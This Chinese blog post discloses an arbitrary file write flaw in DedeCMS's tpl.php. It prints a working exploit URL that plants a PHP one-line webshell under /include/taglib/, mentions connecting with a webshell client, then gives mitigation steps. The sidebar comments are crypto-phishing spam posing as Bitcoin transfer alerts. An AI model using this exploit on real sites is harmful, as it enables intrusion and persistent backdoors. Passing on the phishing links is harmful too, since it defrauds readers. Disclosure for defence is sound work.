小灰博客--小灰IT技术博客 | sky00.com

织梦CMS最新任意写入漏洞

今天服务器提示有webshell文件,上去看下确实是被写入了一句话木马。顺藤摸瓜发现织梦/dede/tpl.php竟然存在任意写入漏洞,也不知道这个漏洞有多久了,是否被公开,既然发现了就记录下把,具体是利用tpl.php的文件管理功能,对标签的一个写入漏洞。exp是这样的

1
www.xxx.com/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?php%20$s=create_function(%27%27,$_REQUEST[x]);$s();?%3E&filename=leo.lib.php

访问确定后会在/include/taglib/目录下面生成一个叫leo.lib.php的文件。这个文件里面是一句话木马,就是url里写的PHP代码,如图

(图丢了,自己领悟)

具体想写什么在url里带入就行,接下来上菜刀,链接即可。需要注意一点,生成的文件名必须是 xxx.lib.php

具体防护方法修改后台路径肯定是必不可少的 ,当然现在曝下织梦路径也不是什么难事,首先可以关闭/include/taglib/下的写入权限,其次其实很多网站根本用不着文件管理器,建议直接把tpl.php文件删除或者重命名。


如果该文章帮到了您,不妨帮忙分享支持下博主!
同时也欢迎各位技术爱好者加入IT技术群(点击即可):70035098 互相交流学习!

分享该文章到:

8 条评论

  1. 今日头条说道:

    文章不错支持一下吧

  2. 头条说道:

    文章不错非常喜欢

  3. 骨骼尚美说道:

    不错的文章,学习了



回复 头条 取消回复

您的邮箱地址不会被公开。 必填项已用 * 标注

分类

最新评论

  • SECURITY UPDATE - Suspicious transfer of 1.5 BTC. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=9e710a17c6f1893b8975843ad65a53ec&:upxwyz
  • ACCOUNT NOTICE: Suspicious transfer of 0.9 Bitcoin. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=fe6091958be4c38fa81e31741d9ee97b&:4pf2ee
  • ACCOUNT ALERT - Unauthorized transaction of 2.0 Bitcoin. Block? >> https://graph.org/COLLECT-BTC-07-23?hs=16de53a4a2394494df77c8bcee6cad77&:h5il57
  • WALLET UPDATE: Suspicious transfer of 2.0 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=3f08de96112b4bab631df916e9c95f9e&:puykif
  • SECURITY UPDATE - Unauthorized transaction of 0.9 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=2ae440781044702fe525e5a4bc609633&:jeu7qm
  • + 1.463083 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:deoope
  • Notification; SENDING 1.340434 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=281dba697024abd3d1c5d7176ade2d86&:9no7ye
  • + 1.741870 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=82b659c095cace05cbef312726b6e1d9&:ktokt2
  • + 1.869464 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:8u5u17
  • + 1.520933 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=b3fb181a7a5a4b8271540fe16f846c4e&:77woi1
  • Ticket: Process 1.650130 BTC. Verify >> https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:0lc9pa
  • Email; + 1,927051 BTC. Go to withdrawal =>> https://graph.org/Payout-from-Blockchaincom-06-26?hs=537821b4863fb3bee56d03d62403a81a&:fpsg39
  • Ticket- TRANSACTION 1,331496 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=01da4417afbeba5c1c96ed80618a98be&:vv3cey
  • + 1.156550 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=48af46897a78ce23e02d3d6d91453c82&:70ihvo
  • Email; TRANSACTION 1.839657 BTC. Receive => https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:aiwxke
  • + 1.397578 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=389fe5cd6483dfc8b55bc3d3e1e86cfb&:uvq55v
  • + 1.504191 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=9e710a17c6f1893b8975843ad65a53ec&:yumyj7
  • Message; Process 1.505974 BTC. GET => https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=00af77503aab4040b9414644cafc3051&:njhgiw
  • + 1.732287 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=164145d501515772aa4824d0b8561afe&:vn4wwh
  • Message; Operation 1,932226 BTC. Assure =>> https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=82b659c095cace05cbef312726b6e1d9&:qwt1jk